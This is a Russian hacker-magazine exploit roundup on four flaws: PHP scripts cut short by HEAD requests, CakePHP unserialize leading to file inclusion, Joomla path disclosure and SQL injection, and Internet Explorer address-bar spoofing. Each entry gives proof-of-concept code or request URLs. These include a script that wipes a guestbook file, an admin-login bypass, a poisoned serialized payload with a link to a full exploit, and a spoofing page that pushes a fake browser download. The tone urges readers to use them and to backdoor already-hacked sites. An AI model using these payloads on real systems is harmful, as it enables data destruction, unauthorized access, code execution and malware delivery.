Содержание статьи
- Уязвимость PHP при обработке HTTP Head-запросов
- Brief
- Exploit
- Exploit
- Solution
- Выполнение произвольного кода в CakePHP
- Brief
- Exploit
- Targets
- Solution
- Раскрытие путей и потенциальные SQL-инъекции в Joomla!
- Brief
- Exploit
- Targets
- Solution
- Подмена адресной строки в Microsoft Internet Explorer
- Brief
- Exploit
- Targets
- Solution
В текущем месяце багокопатели не хотят нас баловать новыми громкими эксплойтами в популярных приложениях. Конечно, опубликовано множество advisory в продуктах известных фирм, но очень малое их количество содержит удобоваримые PoC-коды. В нашем обзоре я постарался собрать самые значимые и полные уязвимости из описанных в последнее время, так что устраивайся поудобнее и наслаждайся чтением.
Уязвимость PHP при обработке HTTP Head-запросов
Brief
3 марта некий Адам Иванюк обнаружил интересную особенность в интерпретаторе PHP, который не совсем корректно обрабатывает HEAD-запросы. Данную уязвимость исследователь назвал «HTTP HEAD method trick in php scripts».
Многие кодеры разрабатывают свои PHP-скрипты, надеясь, что все записанные в них инструкции успешно выполнятся, не прервавшись где-нибудь посередине (особенно в коротких скриптах). Так и происходит, если скрипт запрашивается конечным пользователем с помощью методов GET, POST, PUT.
Но тебе должно быть известно, что существуют и другие HTTP-методы — например, HEAD. Как раз-таки при обработке этого метода в PHP и может возникнуть дыра в безопасности.
Смотрим один из исходников интерпретатора: ./main/SAPI.c, линия 315:
if (SG(request_info).request_method &&
!strcmp(SG(request_info).request_method, "HEAD"))
{
SG(request_info).headers_only = 1;
...
Когда поступают какие-либо данные, выполняется функция php_ub_body_write. Дальше смотрим main/output.c, линия 699:
if (SG(request_info).headers_only) {
if(SG(headers_sent))
{
return 0;
}
php_header(TSRMLS_C);
zend_bailout();
}
Здесь видно, что при первом выводе на экран и при использовании метода HEAD функция zend_bailout прерывает работу скрипта.
Exploit
Автор приводит несколько примеров эксплуатации этого бага. В первом примере у нас есть простая гостевая книга, похожая на множество скриптов, которые были когда-то разработаны и выложены в Сеть:
<?php
$line='Nick: '.htmlspecialchars
($_POST['nick']).'<br />
Text: '.htmlspecialchars
($_POST['text']).'<hr />';
$f=fopen("book.txt","r");
$data=fread($f,fi lesize("book.txt"));
fclose($f);
$f=fopen("book.txt","w");
$data=$line.$data;
echo $data;
fwrite($f,$data);
fclose($f);
?>
Теперь давай обратимся к этому скрипту с помощью метода HEAD:
<?php
stream_context_get_default
(array('http'=>array('method'=>"HEAD")));
print_r(get_headers('http://site.com/guestbook.php'));
?>
Как и следовало ожидать, наша гостевая книга остановит свое выполнение на строчке «echo $data;», таким образом файл book.txt просто-напросто обнулится.
Данный пример носит скорее деструктивный характер. Во втором примере мы сможем обойти авторизацию в примитивной админке:
<?php
session_start();
echo 'A long string contains about 4090 characters';
$_SESSION['admin']=1;
if (!isset($_POST['pass']) ||
$_POST['pass']!='somepassword')
{
echo '<b>Wrong or empty password.</b><br>';
$_SESSION['admin_level']=0;
}
?>
В этом скрипте при заходе обычными методами устанавливается административная переменная в сессии. Затем, если пользователь ввел неправильный пароль, эта переменная обнуляется и пользователь не становится админом.
Если мы обратимся к админке через HEAD, ее выполнение прервется на куске кода с «echo», таким образом административная переменная не обнулится, и мы сможем спокойно бродить по закрытой части приложения. Здесь надо учесть, что в большинстве веб-серверов значение буферизации вывода установлено равным 4096 байт, так что в рабочем примере нам может понадобиться строка 'A long string contains about 4090 characters'.
Exploit
- PHP <= 5.3.5
Solution
На момент публикации обзора последней версией PHP являлась версия 5.3.5. В ней нет никаких исправлений, касающихся данного бага, так что могу лишь посоветовать внимательно просмотреть исходники своих скриптов на предмет непредвиденных ситуаций при использовании метода HEAD.
Выполнение произвольного кода в CakePHP
Brief
CakePHP — это известнейший (более 7 000 000 упоминаний в Гугле) программный каркас для создания веб-приложений, написанный на языке PHP и построенный на принципах открытого ПО. CakePHP реализует паттерн «Модель-Вид-Контроллер» (MVC).
Изначально данный фреймворк создавался в качестве клона популярного Ruby on Rails, многие идеи были заимствованы именно оттуда:
- Своя файловая структура;
- поддержка множества плагинов;
- абстракция данных (PEAR::DB, ADOdb и собственная разработка Cake);
- поддержка множества СУБД (PostgreSQL, MySQL, SQLite, Oracle).
Неудивительно, что на столь примечательный программный продукт обращено пристальное внимание многих пентестеров. Не так давно человек под ником felix нашел в данном фреймворке интересный баг, связанный с волшебными методами и использованием функции unserialize (подробнее о данном классе уязвимостей читай в прошлогодних номерах журнала).
Для начала открываем компонент ./libs/controller/components/security.php и ищем следующий код, отвечающий за защиту от XSRFатак с помощью POST-запросов:
<?php
function _validatePost(&$controller)
{
...
$check = $controller->data;
$token = urldecode($check['_Token']['fi elds']);
if (strpos($token, ':')) {
list($token, $locked) = explode(':', $token, 2);
}
$locked = unserialize(str_rot13($locked));
...
?>
Здесь массив $check содержит наши POST-данные, а переменная $locked — это обфусцированная с помощью функции str_rot13() сериализованная строка, которая полностью находится под нашим контролем.
На этом месте стоит сделать небольшое отступление для тех, кто не читал соответствующие статьи в ][, и кратко рассказать о баге, проявляющемся в волшебных методах PHP. Итак, в PHP версии 5 появилась базовая концепция ООПпрограммирования: конструктор и деструктор. Конструктор реализуется с помощью метода «__construct», а деструктор — с помощью метода «__destruct». По окончании своей работы и при вызове через функцию unserialize() каждый объект выполняет свой собственный __ destruct-метод, если он прописан в коде.
А мы тем временем можем использовать эту особенность PHP, если отсутствуют какие-либо проверки пользовательского ввода в функции unserialize (оригинальное advisory Стефана Эссера читай по ссылке suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf).
Теперь вернемся к нашему фреймворку и посмотрим на деструктор App-класса из файла ./libs/configure.php:
function __destruct()
{
if ($this->__cache)
{
$core = App::core('cake');
unset($this->__paths[rtrim($core[0], DS)]);
Cache::write('dir_map', array_fi lter($this->__paths),
'cake_core');
Cache::write('fi le_map', array_fi lter($this->__map),
'cake_core');
Cache::write('object_map', $this->__objects,
'cake_core');
}
}
Из приведенного кода можно понять, что данный метод может быть скомпрометирован путем записи произвольных значений в объект Cache. Наиболее интересный ключ для взлома — это ‘file_map’. Он управляет связями между классами и соответствующими PHP-файлами, а также используется для подгрузки дополнительных классов во время выполнения скрипта.
Реальный код для загрузки классов выглядит немного сложнее, но все это сводится к следующему коду из метода __load внутри класса App:
<?php
...
if (fi le_exists($fi le)) {
if (!$this->return) {
require($fi le);
$this->__loaded[$fi le] = true;
}
return true;
...
?>
Бинго! Путем подмены переменной $file мы сможем проинклудить свой собственный PHP-код! Причем это будет самый настоящий Remote File Inclusion баг — таким образом, нам не понадобятся никакие дополнительные ухищрения с загрузкой локальных файлов на сервер. Однако автор найденной уязвимости предлагает LFI-вариант эксплуатации этой дырки, потому что CakePHP использует базирующийся на файлах локальный кэш, который находится в сериализированной форме в известной взломщику директории.
Exploit
В качестве небольшого PoC для генерации ядовитой сериализованной строки felix предлагает следующий код:
<?php
$x=new App();
$x->__cache=1;
$x->__map=array("Core" => array(
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"Foo" => "<? phpinfo(); exit(); ?>");
$x->__paths=array();
$x->__objects=array();
echo serialize($x);
?>
Конечно, предварительно ты должен проинклудить необходимые классы из CakePHP. Существует также и полнофункциональный эксплойт на Питоне, найти который ты сможешь по адресу malloc.im/burnedcake.py.
Данный сплойт должен работать в каждом приложении, построенном на CakePHP, использующем POST-формы с security-токенами, и в котором не изменено стандартное расположение файлов кэша. По дефолту эксплойт выводит на экран конфиг базы данных, другие полезности легко добавляются путем измененения встроенного PHP-пэйлоада.
Targets
- CakePHP <= 1.3.5, CakePHP <= 1.2.8
Solution
Для исправления описанной уязвимости необходимо всего лишь скачать последнюю версию используемой тобой ветки CakePHP с сайта производителя cakephp.org.
Раскрытие путей и потенциальные SQL-инъекции в Joomla!
Brief
Джумла — это система управления содержимым, написанная на языках PHP и JavaScript и использующая в качестве хранилища базу данных MySQL. Является свободным программным обеспечением, распространяемым под лицензией GNU GPL.
Если ты не сталкивался в своей хеккерской деятельности с Joomla!, то ты просто-напросто живешь на другой планете :). В этом обзоре я хочу рассказать сразу о двух потенциальных SQL-инъекциях в различных ветках Джумлы, которые остались незамеченными и нераскрученными.
Итак, первая инъекция была обнаружена ребятами из YGN Ethical Hacker Group (yehg.net/lab) в движке версии 1.5.21.
Как пишут сами ресерчеры, потенциальные SQL-инъекции были обнаружены ими в Joomla! 1.5.20 в рамках исследования на XSS. Об этих багах немедленно было сообщено команде разработчиков движка, которые вскоре выпустили «пропатченную» версию 1.5.21. Слово «пропатченную» находится в кавычках, поскольку девелоперы закрыли глаза на большую часть адвисори команды YEHG и понадеялись на то, что эти уязвимости не полностью эксплуатабельны, так как Joomla! имеет встроенные строковые фильтры безопасности.
В результате багокопатели раскрыли подробности эксплуатации обнаруженных потенциальных SQL-инъекций широкой публике, чем мы, конечно же, воспользуемся.
Итак, открываем файл ./components/com_weblinks/models/category.php и находим в нем следующий код:
function _buildQuery()
{
$fi lter_order = $this->getState('fi lter_order');
$fi lter_order_dir = $this->getState('fi lter_order_dir');
$fi lter_order = JFilterInput::clean($fi lter_order, 'cmd');
$fi lter_order_dir =
JFilterInput::clean($fi lter_order_dir, 'word');
// We need to get a list of all
// weblinks in the given category
$query = 'SELECT *' .
' FROM #__weblinks' .
' WHERE catid = '. (int) $this->_id.
' AND published = 1' .
' AND archived = 0'.
' ORDER BY '. $fi lter_order .''.
$fi lter_order_dir .', ordering';
return $query;
}
Здесь видно, что переменные $filter_order и $filter_order_dir не проходят проверку на строгое соответствие операторам SQL, проверка идет лишь путем использования стандартного метода clean из класса JFilterInput:
<?php
...
case 'WORD' :
$result = (string) preg_replace ( '/[^A-Z_]/i', '', $source );
break;
...
case 'CMD' :
$result = (string)
preg_replace( '/[^A-Z0-9_.-]/i', '', $source );
$result = ltrim($result, '.');
break;
...
Таким образом, по дефолту мы получаем раскрытие путей. Аналогичный баг в тех же самых переменных совсем недавно был обнаружен и в первой версии движка из новой ветки 1.6.
Exploit
По дефолту мы можем воспользоваться лишь раскрытием путей в Joomla! <= 1.5.21:
- /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir=&fi lter_order=%00'
- /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir='&fi lter_order=asc
и в Joomla! 1.6.0:
- attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order=yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,&fi lter_order_Dir=2&limit=3&limitstart=4
- attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order=1,&fi lter_order_Dir=yehg.net.BBBBBBBBBBB,&limit=3&limitstart=4
Однако багокопатели предлагают воспользоваться данными багами в уже похеканных инсталляциях Джумлы в контексте протроянивания движка: тебе необходимо всего лишь удалить фильтры JFilterInput::clean у переменных filter_order_Dir и filter_order, после чего можно неограниченно пользоваться модифицированной уязвимостью.
Также существует информация, что некие находчивые люди все-таки смогли обойти эти пресловутые фильтры, но эксплойт находится в глубоком привате.
Targets
- Joomla! <= 1.5.21, Joomla! 1.6.0
Solution
Как и всегда, не забываем обновляться с официального сайта разработчика joomla.org. На момент написания обзора последними версиями данной CMS были 1.5.22 и 1.6.0 соответственно.
Подмена адресной строки в Microsoft Internet Explorer
Brief
Напоследок хочу рассказать о небольшом и крайне забавном баге в ослике IE, который обнаружил хакер под ником cyber flash. Данный баг позволяет удаленному пользователю произвести простейшую спуфинг-атаку.
Уязвимость существует из-за ошибки во время обновления панели адресной строки всплывающего окна. Удаленный пользователь может с помощью специально сформированной веб-страницы заставить браузер отображать только определенную часть адреса в адресной строке.
Exploit
В качестве примера с подменой адресной строки сам автор предлагает следующий PoC HTML-код:
<html><head>
<meta http-equiv="Content-Type"
content="text/html; charset=windows-1252">
<meta http-equiv="REFRESH" content="10;url=http://www.
keyloggeronline.com/index.php">
<title>Spoof</title>
<script>
function myOpen() {
var mywin=open("about:blank", "mywindow",
"location=1,scrollbars=0,width=300,height=290");
mywin.location.href="http://www.keyloggeronline.com/misc/
temp/a.php?http://www.bing.com/" + Array(5).join(" ") + " ";
self.blur();
}
</script>
</head>
<body onclick="myOpen();">
Click anywhere on this page!
</body>
</html>
Также cyber flash предоставляет нам для тестов уже готовую страницу с PoC-кодом на keyloggeronline.com/misc/temp/about.htm.
Зайдя на эту страницу, мы увидим надпись со ссылкой, которая приглашает нас перейти на сайт bing.com. Нажав на ссылку, мы увидим всплывающее окно, в адресной строке которого будет значиться тот самый Бинг. Ниже будет находиться еще одна ссылка, призывающая скачать новый Internet Explorer (причем, наведя курсор на «Download», мы не увидим ничего подозрительного, хотя там находится не новая версия браузера, а программа-псевдотроян от Сайбер Флеша).
Таким образом, злоумышленник легко сможет подсунуть пользователю Ослика злонамеренный файл.
Targets
- MS Internet Explorer 7, 8, 9
Solution
В настоящий момент мелкомягкие все еще не исправили описанную уязвимость, так что, если ты используешь IE, в качестве временной меры советую быть внимательнее с незнакомыми всплывающими окнами.